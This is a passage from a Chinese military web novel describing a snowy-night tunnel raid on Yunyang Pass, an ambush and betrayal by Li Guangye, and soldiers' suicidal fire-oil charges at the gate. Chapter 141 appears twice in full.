你所做的每一件事都是为了扩充实力,包括收复云阳关也是你为了扩充地盘而与李家达成的协议罢了。
我想不通,你这样的聪明人为何会去冒这个险?”
鲍卿、秦昭两人丧命的真相陆铁山早就知道,甚至秦昭的死背后还有他推波助澜。
他选择了与洛羽合作不假,但老人一直看不透这位年轻人,有时候甚至会震惊于洛羽的狠辣手段。
洛羽终于收起了嬉皮笑脸的表情,平静地说道:
“老将军说得对,瓜分鲍家军、杀死秦昭,我一方面是为了自保,另一方面也是为了扩充军力。
没有兵马、没有军权,最终只会沦为别人的棋子。
但我和李家的合作并不单单是为了得到凤川城。
我在云阳关生活过,熟悉城内的每一条街巷,甚至能记得那些农户、商贩的模样,云阳关内还有很多普普通通的老百姓在面临羌贼的蹂躏。
说句真心话,我曾经会想为何要去管这些人的死活?他们的生死与我有何关系?
云阳关丢了就丢了,与我何干?
但我做不到,做不到事不关己高高挂起。”
洛羽直视着陆铁山的眼眸:
“就像老将军刚才说的,年轻人才是陇西的未来,我也是陇西的年轻后辈。
这种时候我不站出来,难道等着羌人的马蹄踏遍三州再反抗吗?”
一番话令老人目光怔怔,沉默许久后突然一笑:
“好小子,老夫果然没看错人。”
老人在这一刻释怀了,洛羽手段狠辣,但心中尚存良知。
“老将军,此一战胜负尚未可知。”
洛羽郑重抱拳:
“李光业这人我信不过。我走之后营中就劳烦您了,城内战事一起,大军务必立刻攻城!”
“放心吧。”
陆铁山大步离去:
“老夫可不想让你死在云阳关。”
……
夜幕一点点降临,乾军大营中火光缭绕,犹如一条火龙盘旋在云阳关的周围。
洛羽、霍连城麾下各出动了两百
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人,总计四百精锐夜入云阳关。
这次洛羽从亲兵尉中挑了一百人,董川带着陈大桩的一旗兵马随行,地道毕竟是他们发现的,对地势更熟悉些。
四百精锐傲然而立,瑟瑟寒风拍打在他们的脸颊上,犹如刀刻斧凿般发疼。
“妈的,这次被你赚到了。”
蒙虎站在董川身边骂骂咧咧:
“最重要的一战竟然被你抢了,唉,心酸啊。”
“谁说不是呢,董都尉怎么这般命好。”
吕青云也板着个脸:
“这样吧,咱两换换,您在城外指挥攻城,我带队潜入云阳关。”
“呸,你们几个王八蛋想得美!”
董川得意扬扬:
“谁让我手下兄弟争气呢?你们就等着咱凯旋而归吧!”
“打赢了仗,一定要让你请咱们喝酒!狠狠宰你一顿!”
“喝!我董川请大家喝个痛快!哈哈哈!”
几人嬉笑打闹,场面很是诡异。
如此惊险的任务换做其他军伍只怕无人肯去,可他们却抢着干,没抢到还闷闷不乐。
为什么?
因为在洛羽手底下大家都是凭军功说话,谁战功高,谁说话的底气就足!
两百洛家军,全都昂首挺胸,杀气腾腾,看不见半点畏惧之色。
霍连城望着这一幕,苦笑一声,他不如洛羽啊,隐隐间竟然生出些许向往之色。
“行了,别在这嬉皮笑脸!”
洛羽瞪了人群一眼:
“我走以后你们都要听少游的话,谁敢抗命胡来,别怪我回来砍了他!”
“诺!”
几人赶忙挺直腰板,洛羽的表情可不像是在开玩笑。
“陆将军到,李将军到!”
“轰!”
大战开始之前,两位主帅总得露面吧。
李光业率先开口:
“洛将军,霍将军,此战就看你们的了,阙州安危在此一战!
千万别忘了,咱们以响箭为号,齐攻城南!”
“我等必依令而行!”
陆铁山的话语更加简洁:
“诸位同袍!本将等你们凯旋而归!”
“出发!”
四百悍卒悄无声息地离营而去,眨眼间便融于夜色,消失不见。
寒风越发呼啸,夜空朔云密布。
点点雪白突然飘落人间。
人群中的李光业注目遥望,嘴角勾起一抹玩味:
“唔,下雪了。”
第140章雪夜入云阳
雪,无声地下。
起初只是零星的雪粒,被北风卷着,打在城垛上发出细碎的声响。渐渐地,雪花越来越密,如扯碎的棉絮,铺天盖地地压下来。
西境的夜本就很早,云阳关城头摇曳的火光被雪幕遮得严严实实,只能照出方寸之地。
“妈的,下了雪就是冷!”
火把在风雪中挣扎,守城的羌兵头发渐白,骂骂咧咧,冻得直哆嗦,浑然没有察觉到有两队轻装步卒正从他们的脚底下穿城而过。
空洞、幽森的地道中有数不清的人影在穿行,每隔十步便有一人举着火把,这是地道中仅有的光亮。
泥土的腥味与火把的烟熏让人呼吸都觉得不适。
大家脚步轻便,不敢发出半丝声响,交谈也全靠手势,因为洛羽说过,地底下的动静很容易传到地面,但羌兵毕竟没怎么打过守城战,大概率没有得听卒这类军种。
经过疏通后的地道更易通行了,人群很快来到了地道尽头,遮挡洞口的木板一挪开便有寒风呼啦啦地往里灌,吹得人视线一糊。
这次他们学精了,随行带了木梯,顺着石壁刚刚好搭在井口的上沿。
“上!”
陈大桩第一个迈出脚步,三两下便爬到井口,小心翼翼地探出头去,四周只有残垣断壁和无尽的夜色,确定安全后他轻轻一招手,大片人影鱼贯而上。
两百精锐迅速控制了附近的几座民宅,人人手握弯刀,借着墙角隐藏身形。
雪花降临,挂落在刀锋之上,天地间有一股杀气弥漫。
洛羽终于确定了位置,跟他预料的一样,这是距离南城门没多远的一片废弃民房。地道出口在城南,入口总不可能舍近求远挖到其他地方去。
想来霍连城那条地道的出口也在城南附近,双方兵马各自行动,最后在南门汇合,谁先到就由谁先发起进攻。
众人刚要迈开脚步,夜色中就传来一阵嘈杂:
“妈的,真是倒了血霉,大雪天还有巡逻。”
“这地方鬼影都看不见一个,巡逻个屁啊!咱们溜达一圈赶紧回营,冻死老子了。”
“你还别说,这地方渗人得很,老子一刻也不想多待。”
感情是一队巡逻羌兵,误打误撞走到这里来了,十几人拖着**无精打采地走入街巷,不爽两个字就差写在脸上了。
洛羽的手掌在脖颈处轻轻一划,顿时便有十几号精锐从夜色中闪掠而出,一手捂嘴巴,一手割脖子,干脆利落地解决了十几名巡逻士卒。
董川死死卡主唯一活口的咽喉,冷着脸说了一句:
“问你个问题,老实回答就能活命,若是敢大喊大叫,我就把你剁碎了喂狗!”
身边的同伴眨眼就**个精光,这名羌兵吓得魂不附体,拼了命地点头。
“南城门有多少守军?”
“两,两百人。”
“确定?”
“确定!”
得到答案的董川毫不犹豫地割开了他的咽喉,放你一条活路?怎么可能。
洛羽面色冰冷,浑身战意涌动:
“行动!”
人群迈开脚步,轻车熟路地摸向南城门的方向。为了确保此次偷袭顺利,洛羽特地带了不少在云阳关待过的老兵,对城内地势十分熟悉。
估计是天寒地冻,又是深更半夜,一路上再没有碰到过其他巡逻队,轻松便抵达城门附近。
南城门口是一条宽阔的街巷,两侧皆是民房,但这些房屋早就废弃荒芜,最多在战事用来屯放物资,远远望去一片漆黑,看起来屋中并没有人。
羌兵沿着街巷布置了两道岗哨,一道放在街口,寥寥十几人,四周用沙袋堆起了一个环形土坡,像是个堡垒。
另一道哨卡在街尾,也就是自城门口,人数多些,隐约可见有上百人,看来那名羌兵没有说谎,这里的守军撑死不过两百。
冷冽的寒风冻得人直哆嗦,值夜的守军们蜷缩在角落里避寒,还有人已经在打盹了,脑袋晃啊晃的,鼾声断断续续。
“城南的防守果然松懈啊。”
董川冷笑一声:“看来羌兵的注意力全都在城东,天赐良机!”
“带几个人,去把第一道哨卡摸了,不要打草惊蛇!”
洛羽手掌轻挥,他们的任务很简单,解决两道哨卡的羌兵,然后再打开城门迎大军入城。
只要城门一开,今夜必胜!
“我去。”
陈大桩拎着一把弯刀,十几道人影紧随其后,蹲在地面上一点点往前挪动,静得连呼吸声都听不见。
十步,五步,两步……
一名睡梦中的羌兵突然站了起来,吓了众人一跳,以为被这家伙发现了。
哪知他径直跑到墙角解开裤子,掏出家伙就开始尿:
“憋死老子了,呼,痛快!”
羌兵抖了两下,露出一抹舒畅的表情。
下一刻便有一只粗糙有力的手
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掌捂住了他的嘴巴,冰冷的刀锋蹭的一下割破了他的喉咙,羌兵瞳孔一缩,半丝声响都没发出就软软地瘫倒在地。
十几人瞬间翻过沙袋,刀锋挥舞,出手便是杀招,眨眼间哨兵便**得干干净净,夜色中弥漫着一股血腥味。
陈大桩紧盯着城门口,直到确定羌兵没有察觉异常后才松了口气,随即招呼身后的兵马过来。
两百人半蹲在地,沙袋垒起的高坡就是他们唯一的掩体。
街巷足有两百大步长,现在他们要做的就是静悄悄地从这里摸过去,尽可能在悄无声息中解决城门口的卫兵,若是半路被发现就只能强攻城门。
好在街巷中没有火把,又是漫天大雪,视野极差,料想城门口的守军看不清街面上的动静。
洛羽竖起两根手指,轻轻往前一指,董川和小伍心领神会,两百精锐兵分两路,沿着道路两侧轻轻向前移动。
两百步的距离不算远,但对雪夜中的洛家军来说却格外的遥远,所有人都绷着一根弦,每一步迈出都得慎之又慎。
越靠近城门,风险就越大,但偷袭成功的概率也会越高。
洛羽本能的看了一眼几步开外的民房,黑咕隆咚得毫无动静,看来羌兵并未在这里囤积物资。
刚要偏开视线,洛羽的视线陡然一凝。
落满灰尘的门口竟然有脚印,看朝向是进出房屋才会踩出来的,雪花一落脚印显得更清晰,明显是今天刚留下的!
脚印很多,几乎每一间民房门口都有!
一股不安突然从洛羽心底浮现,早就废弃的民房门口怎么会有脚印?
“嘶嘶嘶!”
寂静的夜色中传出一阵异响,洛羽第一时间就捕捉到了这个声音。
近,很近!
从军这么久,洛羽对这个声音太熟悉了,这是拉动强弓才有的动静!
洛羽面色抖变,厉声嘶吼:
“全都蹲下!”
“嗖!”
窗纸撕裂、木屑飞溅,凌厉的劲风陡然在所有人耳边炸响。
一支狭长的**箭从民房内飚射而出,瞬间洞穿了一名军卒的胸膛。
强劲的力道直接带飞了鲜血淋漓的尸体,拖行数步,将其狠狠钉在了对面的墙板上。
雪花飞落,血花绽放。
突如其来的血腥场面让所有乾军将士心头一颤、目光呆滞,洛羽的怒吼声响彻夜空:
“有埋伏!”
“迎战!”
第141章身陷绝境
“嗖嗖嗖!”
“噗嗤噗嗤!”
“有埋伏,小心两翼!寻找掩体!”
低沉的破风声接连响起,狭长的**从两侧民房中不断射出,犹如索命的恶鬼在夜色中穿梭。
街巷中空空荡荡,没有任何东西可以作为掩体,将士们几乎是在用血肉之躯迎接箭矢,唯一的手段就是挥舞弯刀,尽可能去劈落那些长箭。
突如其来的伏击打了他们一个措手不及。
这么近的距离,如此强的力道,弓**不费吹灰之力就能穿透将士们的胸膛,哀嚎声不绝于耳,整条街巷都被恐怖的杀意所笼罩。
漫天雪花飘落,地面的积雪染上了点点猩红。
“妈的,这里为何会有埋伏!”
奋力挥刀的董川破口大骂:“羌兵的主力不该在城东吗?将军,有杂碎出卖了我们!”
洛羽面色阴沉,心知有人泄露了消息,但他现在管不了这么多,厉喝一声:
“冲进两侧厢房,贴上去,跟他们肉搏!”
“蹭蹭蹭!”
“杀!”
一柄柄苍刀寒芒闪过,吼声刚落,全军随令而动。
小伍许韦带着一百亲卫往左、董川陈大桩带剩下的一百人向右,顶着密集的箭雨悍然前冲。
危难之际,洛羽身为主将没有退缩,而是领衔冲杀,一个虎扑直接用腰背撞开了木门。
“砰”的一声木屑飞溅,躲在屋内放箭的羌兵被撞得人仰马翻,洛羽用余光匆匆一扫,巴掌大的屋子里竟然藏了七八名羌卒。
“该死的!”
洛羽面目狰狞,一刀捅**被压在身下的羌兵,其余羌兵见势不妙,赶紧弃弓弯刀,三四柄刀锋同时从半空劈落。
“铛铛铛!”
洛羽以一敌三丝毫不惧,抬刀在半空一挡,震得羌兵手臂发麻,紧跟着反手就是一个上挑拨开弯刀,顺势横劈砍向三人的胸膛。
“嗤嗤嗤!”
三名羌兵在绝望中缓缓倒地,鲜血溅满了墙壁。
“杀!”
随着洛家军冲入民房,两军的近身肉搏正式开始,愤怒的嘶吼声与兵器清脆的碰撞声互相交织,打破了云阳关的沉寂。
每一间屋子里都有伏兵,起码五六百人,数倍于乾军,局面十分危急。
这时候洛家军展现出了精锐本色,三人一组、十人一队,背靠背结阵迎战,与羌兵混战一团。
“洛将军,我来了!”
“给我杀!”
就在两军鏖战之际,一队兵马陡然从街巷口杀入战场,与洛家军并肩而战。
霍连城的兵马终于到了。
“喝!”
“给我死!”
霍连城怒目圆睁,一路横冲直撞,接连**好几名羌兵,等他冲杀到洛羽身边时已经浑身血迹。
“地道出口有点远,我来晚了。”
霍连城眉头紧皱:
“羌兵的主力怎么全集中在这个鬼地方,城南不是应该防守空虚吗!”
“有叛徒!”
洛羽眼神冰冷,脑筋在极速运转。知道此战部署的只有陆铁山、李光业、霍连城,眼下霍连城率军力战,肯定不是他。
那只剩下两位主帅。
李光业!洛羽的第一直觉就是他!
可他想不通啊,李家的目标是夺回云阳关,李光业又是李家的嫡系族人,地位尊崇,他没有道理通敌。
为什么,到底为什么?
难不成是陆铁山?
洛羽百思不得其解。
“将军,你看!”
董川咬牙切齿地指向街巷入口,一座由**铁盾组成的军阵豁然浮现,四面八方全都是正在涌来的羌兵。
“洛羽,今日就是你的死期!哈哈!”
完颜康猖狂的笑声回荡在耳边,透过漫天大雪,洛羽隐隐能看到端坐马背的壮硕人影。
“包围乾军!”
“杀!”
城门口处也出现了一座步阵,锋利的枪尖犹如刺猬般从盾牌上方探出,一前一后将街巷彻底堵死,两侧民房中还有大批敌军厮杀,可以说他们已经身陷绝境。
“怎么办?”
霍连城的脸色难看到了极点,一场势在必得的偷袭战却打成了这般模样,若是被困在街巷中,四百军卒注定会全军覆没。
洛羽的眼眸不停扫视四周的环境,仅仅片刻之间他就做出了决定:
“上城墙,我们据墙坚守!”
靠近街巷尽头的位置分出去两条岔路,那儿是通往城头的石梯,羌兵并未在这里布置重兵,算是整个包围圈唯一的薄弱点。
而且羌兵的主力看起来全集中在城下,城头的守军寥寥无几。
“上墙?”
可霍连城却心头一沉:“上了墙头可就再无退路了,想撤都无路可走。”
“如今这种局面,你觉得还有可能突围吗!。两座盾阵一旦合围,我们必死无疑!”
洛羽怒喝道:
“想活命只有一条路!守住墙头,等着大军破城!”
“全军听我指挥,上墙!”
“响箭!”
“咻!”
凄厉的破空声冲天而起,划破漫
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天飞舞的雪花,绽放出一团绚丽多姿的烟火。
这是战前约定好的进攻信号,响箭一起,城外的大军会立刻展开攻城。
响箭腾空的那一刻,关外确实亮起了无数火光。
洛羽和霍连城麾下的兵马归萧少游统一指挥,早就潜伏在南门之外,只等进攻的信号。
密密麻麻的火光驱散了半边夜幕,宛如一头巨兽匍匐在云阳关外。
可是大军没有攻城。
寂静,城外死一般的寂静!
……
“李光业,你为何要阻止大军攻城!”
“城内响箭已起,吼声不断,一定是入城兵马与羌兵交手了!按照战前部署,大军应该立刻攻城,片刻都不能耽搁!”
帅帐中回荡着陆铁山愤怒的喝声,而身为大军副帅的李光业却像个没事人一样,漫不经心地把玩着手中酒杯:
“老将军急什么,计划有变,暂时不攻城了。”
“计划有变?笑话!”
陆铁山冷喝道:
“本将军身为大军主帅尚且不知计划有变,你倒是知道了,什么时候军中轮到你说了算?”
“哎,老将军还真说对了。”
李光业脸上竟然浮现出一抹笑容:
“这里是阙州,自然是我李家说了算。”
“李光业,你休要太放肆!平日给你点面子就罢了,但现在是决战之际,容不得半点闪失。”
陆铁山怒斥道:
“我命令,立刻攻城!”
李光业微微摇头:“不可能。”
“混账!”
“来人,立刻给我将李光业拿了!”
此刻的陆铁山已经顾不得什么李家的背景了,先打赢云阳关一战再说。
老将军已经察觉到此战不对劲,按理说城南防守空虚,就算两军交手也不该弄出这么大的动静。
“噗嗤噗嗤!”
帐外人影晃动,传来一片嘈杂,似乎有血光飞溅。
片刻之后,陆铁山的亲兵没有出现,反倒是李光业的心腹拎着鲜血淋漓的弯刀走入军帐,躬身抱拳:
“将军,办妥了。”
“知道了,退下吧。”
陆铁山瞳孔骤缩,李光业竟然敢下**!
李光业漫不经心地说道:
“老将军麾下千余兵马,分由三名都尉领军,其中一个是我李家早早安**去的人,还有一个被我收买,至于你的那位心腹死忠,刚刚已经**了。
也就是说你一兵一卒都调不动。”
“从现在开始,全军上下我说了算!”
第141章身陷绝境
“嗖嗖嗖!”
“噗嗤噗嗤!”
“有埋伏,小心两翼!寻找掩体!”
低沉的破风声接连响起,狭长的**从两侧民房中不断射出,犹如索命的恶鬼在夜色中穿梭。
街巷中空空荡荡,没有任何东西可以作为掩体,将士们几乎是在用血肉之躯迎接箭矢,唯一的手段就是挥舞弯刀,尽可能去劈落那些长箭。
突如其来的伏击打了他们一个措手不及。
这么近的距离,如此强的力道,弓**不费吹灰之力就能穿透将士们的胸膛,哀嚎声不绝于耳,整条街巷都被恐怖的杀意所笼罩。
漫天雪花飘落,地面的积雪染上了点点猩红。
“妈的,这里为何会有埋伏!”
奋力挥刀的董川破口大骂:“羌兵的主力不该在城东吗?将军,有杂碎出卖了我们!”
洛羽面色阴沉,心知有人泄露了消息,但他现在管不了这么多,厉喝一声:
“冲进两侧厢房,贴上去,跟他们肉搏!”
“蹭蹭蹭!”
“杀!”
一柄柄苍刀寒芒闪过,吼声刚落,全军随令而动。
小伍许韦带着一百亲卫往左、董川陈大桩带剩下的一百人向右,顶着密集的箭雨悍然前冲。
危难之际,洛羽身为主将没有退缩,而是领衔冲杀,一个虎扑直接用腰背撞开了木门。
“砰”的一声木屑飞溅,躲在屋内放箭的羌兵被撞得人仰马翻,洛羽用余光匆匆一扫,巴掌大的屋子里竟然藏了七八名羌卒。
“该死的!”
洛羽面目狰狞,一刀捅**被压在身下的羌兵,其余羌兵见势不妙,赶紧弃弓弯刀,三四柄刀锋同时从半空劈落。
“铛铛铛!”
洛羽以一敌三丝毫不惧,抬刀在半空一挡,震得羌兵手臂发麻,紧跟着反手就是一个上挑拨开弯刀,顺势横劈砍向三人的胸膛。
“嗤嗤嗤!”
三名羌兵在绝望中缓缓倒地,鲜血溅满了墙壁。
“杀!”
随着洛家军冲入民房,两军的近身肉搏正式开始,愤怒的嘶吼声与兵器清脆的碰撞声互相交织,打破了云阳关的沉寂。
每一间屋子里都有伏兵,起码五六百人,数倍于乾军,局面十分危急。
这时候洛家军展现出了精锐本色,三人一组、十人一队,背靠背结阵迎战,与羌兵混战一团。
“洛将军,我来了!”
“给我杀!”
就在两军鏖战之际,一队兵马陡然从街巷口杀入战场,与洛家军并肩而战。
霍连城的兵马终于到了。
“喝!”
“给我死!”
霍连城怒目圆睁,一路横冲直撞,接连**好几名羌兵,等他冲杀到洛羽身边时已经浑身血迹。
“地道出口有点远,我来晚了。”
霍连城眉头紧皱:
“羌兵的主力怎么全集中在这个鬼地方,城南不是应该防守空虚吗!”
“有叛徒!”
洛羽眼神冰冷,脑筋在极速运转。知道此战部署的只有陆铁山、李光业、霍连城,眼下霍连城率军力战,肯定不是他。
那只剩下两位主帅。
李光业!洛羽的第一直觉就是他!
可他想不通啊,李家的目标是夺回云阳关,李光业又是李家的嫡系族人,地位尊崇,他没有道理通敌。
为什么,到底为什么?
难不成是陆铁山?
洛羽百思不得其解。
“将军,你看!”
董川咬牙切齿地指向街巷入口,一座由**铁盾组成的军阵豁然浮现,四面八方全都是正在涌来的羌兵。
“洛羽,今日就是你的死期!哈哈!”
完颜康猖狂的笑声回荡在耳边,透过漫天大雪,洛羽隐隐能看到端坐马背的壮硕人影。
“包围乾军!”
“杀!”
城门口处也出现了一座步阵,锋利的枪尖犹如刺猬般从盾牌上方探出,一前一后将街巷彻底堵死,两侧民房中还有大批敌军厮杀,可以说他们已经身陷绝境。
“怎么办?”
霍连城的脸色难看到了极点,一场势在必得的偷袭战却打成了这般模样,若是被困在街巷中,四百军卒注定会全军覆没。
洛羽的眼眸不停扫视四周的环境,仅仅片刻之间他就做出了决定:
“上城墙,我们据墙坚守!”
靠近街巷尽头的位置分出去两条岔路,那儿是通往城头的石梯,羌兵并未在这里布置重兵,算是整个包围圈唯一的薄弱点。
而且羌兵的主力看起来全集中在城下,城头的守军寥寥无几。
“上墙?”
可霍连城却心头一沉:“上了墙头可就再无退路了,想撤都无路可走。”
“如今这种局面,你觉得还有可能突围吗!。两座盾阵一旦合围,我们必死无疑!”
洛羽怒喝道:
“想活命只有一条路!守住墙头,等着大军破城!”
“全军听我指挥,上墙!”
“响箭!”
“咻!”
凄厉的破空声冲天而起,划破漫
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天飞舞的雪花,绽放出一团绚丽多姿的烟火。
这是战前约定好的进攻信号,响箭一起,城外的大军会立刻展开攻城。
响箭腾空的那一刻,关外确实亮起了无数火光。
洛羽和霍连城麾下的兵马归萧少游统一指挥,早就潜伏在南门之外,只等进攻的信号。
密密麻麻的火光驱散了半边夜幕,宛如一头巨兽匍匐在云阳关外。
可是大军没有攻城。
寂静,城外死一般的寂静!
……
“李光业,你为何要阻止大军攻城!”
“城内响箭已起,吼声不断,一定是入城兵马与羌兵交手了!按照战前部署,大军应该立刻攻城,片刻都不能耽搁!”
帅帐中回荡着陆铁山愤怒的喝声,而身为大军副帅的李光业却像个没事人一样,漫不经心地把玩着手中酒杯:
“老将军急什么,计划有变,暂时不攻城了。”
“计划有变?笑话!”
陆铁山冷喝道:
“本将军身为大军主帅尚且不知计划有变,你倒是知道了,什么时候军中轮到你说了算?”
“哎,老将军还真说对了。”
李光业脸上竟然浮现出一抹笑容:
“这里是阙州,自然是我李家说了算。”
“李光业,你休要太放肆!平日给你点面子就罢了,但现在是决战之际,容不得半点闪失。”
陆铁山怒斥道:
“我命令,立刻攻城!”
李光业微微摇头:“不可能。”
“混账!”
“来人,立刻给我将李光业拿了!”
此刻的陆铁山已经顾不得什么李家的背景了,先打赢云阳关一战再说。
老将军已经察觉到此战不对劲,按理说城南防守空虚,就算两军交手也不该弄出这么大的动静。
“噗嗤噗嗤!”
帐外人影晃动,传来一片嘈杂,似乎有血光飞溅。
片刻之后,陆铁山的亲兵没有出现,反倒是李光业的心腹拎着鲜血淋漓的弯刀走入军帐,躬身抱拳:
“将军,办妥了。”
“知道了,退下吧。”
陆铁山瞳孔骤缩,李光业竟然敢下**!
李光业漫不经心地说道:
“老将军麾下千余兵马,分由三名都尉领军,其中一个是我李家早早安**去的人,还有一个被我收买,至于你的那位心腹死忠,刚刚已经**了。
也就是说你一兵一卒都调不动。”
“从现在开始,全军上下我说了算!”
第143章忽如一夜冬风来
“全军攻城!”
“杀啊!”
等候多时的吕青云、余寒弓带着步卒蜂拥而出,对云阳关南城墙发起了猛烈的进攻。
所有骑兵都留在阵中,归蒙虎指挥,只要城门一开他们便会冲进去大杀四方!
“咚咚!”
“咚咚咚!”
雷鸣般的战鼓声响彻城头,大战开始!
“进攻了,终于进攻了!”
霍连城兴奋的喝道:
“洛兄,你说的没错,咱们坚持住就能赢!”
城头上的战局每况愈下,四百步卒陷入羌兵的重重围困之中,每一分每一秒都有人战死,地上层层叠叠不知铺了多少死尸。
洛羽没有霍连城那么乐观,艰难的努动嘴唇:
“只怕步卒很难攻上城头啊。”
真被洛羽猜中了,战端一开吕青云他们就意识到不对劲了,战斗比想象中要困难太多。
因为既定的战术是偷袭、两路兵马里应外合,攻城大军是悄悄埋伏在南门之外的,所有的攻城云车都留在了前锋大营,随军携带的的只有数十架普通竹梯。
不管是从坚固程度还是防御力,竹梯都远不如攻城云车好用。
放在平时用就用了,大不了派一批死士强行登城,可今夜大雪啊!
整个墙面湿滑无比,竹梯压根就架不住,就算勉强架起来也要面对羌兵数不清的箭矢、投石,伤亡极大。
好几名骁勇善战的百户亲自带队攀登城头,无一例外全都被羌兵挡了下来,攻城进展极为缓慢,急得吕青云几人团团转。
“这么打下去不是办法啊。”
远远观战的蒙虎心急如焚:
“要不咱们派人去推攻城云车来吧?”
“没用的,李光业已经控制了大营,他一心要害死将军,怎么可能会把攻城云车交给我们?”
萧少游死死攥紧拳头,面色阴沉:
“更何况天降大雪、道路泥泞,从前锋大营把攻城车推过来得花数个时辰,将军他们撑不住的!”
“那怎么办啊!”
蒙虎恨不得肋生双翅飞到城头助战:“总不能眼睁睁地看着兄弟们战死吧?”
“攻城锤,对!军中还有一架攻城锤!”
萧少游一拍脑门,急声道:
“立刻出动攻城锤,告诉前沿,不惜一切代价也要撞开城门!”
“诺!”
数十名壮硕的军卒从阵中推出一架攻城锤,一路飞奔直抵城门。
所谓攻城锤就是一根极为粗壮的原木,长达数丈,顶端包裹铁皮、铜皮增强撞击力,通过铁链绳索悬挂在车架上。
“攻城锤来了!”
“给我撞!狠狠地撞!”
“砰!”
“砰砰!”
巨锤一下下地撞击城门,今夜这架攻城锤成了大军破门而入的唯一希望。
可完颜康也不是吃素的,早就准备了两百号精悍军卒,高举盾牌,用数十根木桩死死抵住城门,任凭攻城锤怎么轰击城门都纹丝不动。
双方一攻一守,僵持不下。
但城头上的战事越发惨烈,羌兵前赴后继地往上冲,刀枪挥舞间血肉横飞。
洛羽和霍连城兵分两路,在两侧建起两道防线,拼死力战,双方全都杀红了眼。
洛羽冲杀在最前方,鲜血已经染透了全身甲胄,冰冷的冬风一吹,血迹都冻成了冰渣。
一名虎背熊腰的羌兵百户跃出人群,手中弯刀笔直地劈向洛羽:
“狗贼受死吧!”
“喝!”
“铛!”
洛羽抬刀一挡,生生止住攻势,顺势一个反挑拨开刀锋,转手一刀就削去了此人半个脑袋。
场面血腥至极,震得四周羌兵不敢上前。
“还有谁想杀我!”
洛羽持刀而立,怒喝道:
“上来!”
小伍和许韦一左一右护在主将身旁,面色狰狞,毫无惧色。
“小伍!竖旗!”
“刺啦!”
洛羽从小伍手中接过军旗,往尸堆中一插,迎风飘扬。
这面军旗本想攻破云阳关再拿出来的,但此时此刻,谁也不知道能不能活下去。
玄色为底的“洛”字旗迎风而立,猎猎作响,所有军卒的目光都变得格外坚定,只剩杀意涌动!
洛羽仰**吼:
“洛字旗下!唯死战尔!”
“死战!”
一声怒吼直冲云霄,羌兵只觉得心口一闷,这群家伙当真不怕死吗?
“洛羽!今日就是你的死期!”
完颜康目光狰狞的出现在人群后方,挥刀向前:
“都给我杀!的洛羽首级者!赏金千两!”
“杀啊!”
羌兵再度像潮水一般涌了上来,踏着双方士卒战死的尸体挥刀肉搏,你砍我我砍你,谁也不肯退缩。
城墙内外都被一股冲天杀意所笼罩,凄厉的吼声让满城百姓瑟瑟发抖,只能在心中祈祷己方能赢。
主力攻城,奇兵血战。
现在的局面简单明了,攻城大军一旦破门而入,不仅能救下洛羽,也能拿下这场战争的胜利;
反之,羌军率先歼灭洛羽等人,那洛家军士气必溃,再无破城的可能。
洛羽一边拼杀一边朝城下张望着,战场正下方就是城门洞,两百号羌兵步卒手持盾牌摆成了一个乌龟阵,严严实实的堵住了城门。
想要帮助大军攻破城门,必须要解决这个乌龟阵。
洛羽突然扫到了前方有一堆火油罐,用牛皮篷布遮盖着,应该是羌兵平时守城用的火油。
“天无绝人之路啊!”
洛羽大喜过望,怒喝一声:
“董大哥!火油罐!”
“明白!”
董川瞬间心领神会,把火油丢下去再点燃,岂不正好烧死这帮羌兵?
十几号汉子从人群中掠出,抱着火油罐就往城墙边跑。
“砰!”
“咣当!”
董
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川率先扔出一罐火油,砸落地面、油星四溅。
“火箭!给我放!”
七八名军卒从地上捡起**,随手扯下布条在箭头一裹,点燃火苗,不断朝城下射去,却发现四处流淌的火油并未被点燃。
原因很简单,地上早就被雪水泡湿了,火油和雪水混合在一起很难点燃,再加上寒风大作,火箭还没射到地面就熄灭了,屁用没有。
“董川!快啊!”
羌兵似乎也发现了乾军想要用火油偷袭,进攻越发疯狂,两侧防线已经被压缩到不足二十丈,眼看着就要被羌军一口吞没。
“妈的!再扔!”
董川不信邪,连着扔下去十几罐火油,哐当哐当碎了一地,可就是怎么也点不着。
火箭遇风就灭,火把目标太大,还没落地就被羌兵用**盾牌挡开,用尽一切办法都点不着火。
董川绝望了,茫然地往地上一瘫,第一次感到这么的无助。
四百号精锐杀到现在,还能站着的不足半数,几乎人人负伤。
前一日还在谈笑风生的同袍兄弟此刻已经变成了冰冷的死尸,被踩踏得血肉模糊。
飞溅的鲜血、愤怒的吼叫、还有羌军狰狞的面庞,让云阳关变成了一座人间地狱。
“头,怎么办啊!”
陈大桩面色悲戚,难道今夜所有人都得死在这儿吗?
“有办法了。”
董川突然从地上站了起来,右手抱起一罐火油,左手抄起火把,眼神中多了一抹前所未有的疯狂。
陈大桩茫然不知所以,根本看不懂董川要做什么。
董川朝着洛羽大吼一声:
“城主!来世再跟你杀敌!”
“蒙虎!吕青云!余寒弓!下辈子再请你们喝酒!”
只见董川手持火把、怀抱油罐,从城头纵身一跃,仰天长啸:
“该死的羌贼!老子叫董川!”
“苍岐!董川!”
“轰!”
下坠途中,董川点燃了怀中火油,一声惊天炸响震撼天地,堵在城门口的羌兵当场就被炸翻一片。
“董川!”
洛羽僵住了,大脑一片空白,心脏骤然一缩。
所有人都傻眼了,悲愤欲绝,董川用自己的命炸开了羌兵的防线!
“稳住阵型!快!重新列阵!”
“顶住!死守城门!”
羌兵再度开始结阵,刚被炸开的乌龟阵隐隐间又有合拢的迹象。
“董,董大哥。”
“兄弟们,教羌人看看,洛字旗下没有孬种!”
“死战!”
陈大桩眼眶血红,毫不犹豫地抱起火油罐跳下城头:
“苍岐!陈大桩!”
“轰!”
“苍岐!牛二柱!”
“轰!”
“苍岐!李程虎!”
“轰!”
……
一声声惊天巨响。
一副副铮铮铁骨!
冬风骤起!
天地变色!
第144章满城苍刀血花开
战场寂静无声,唯有一声声惊天巨响震撼天地。
城墙内外正在厮杀的双方军卒下意识的停下了手中动作,目光骇然地看向城门口,有一朵火红色的蘑菇云冲天而起,将黑夜照亮得如同白昼。
十三人!十三个名字依旧回荡在夜空中。
前后有十三名洛家军卒义无反顾地跳下城头,引爆了所有的油罐,大火将两百羌兵吞噬成了灰烬。
萧少游、蒙虎这些领军将校乃至所有边军将士都僵住了,心脏砰砰地跳。
何等悲壮的场面啊,尤其是董川那一句:
“来世再请你们喝酒!”
直击灵魂!
浓浓的愤怒、仇恨充斥着所有人的眼眸,握住弯刀的手臂青筋暴涨。
**,他们只想**!
“董大哥!”
吕青云悲愤欲绝,一把推开身边的军卒,双臂牢牢抱住攻城锤:
“羌贼!此仇不报,我誓不为人!”
“给我攻城!撞开城门!”
